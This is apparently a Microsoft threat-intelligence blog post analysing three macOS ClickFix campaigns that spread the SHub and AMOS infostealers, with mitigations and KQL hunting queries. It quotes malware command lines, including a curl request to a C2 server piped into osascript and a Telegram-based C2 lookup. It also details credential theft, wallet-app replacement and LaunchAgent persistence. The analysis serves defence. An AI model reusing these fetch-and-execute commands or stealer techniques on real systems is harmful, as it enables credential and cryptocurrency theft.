The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

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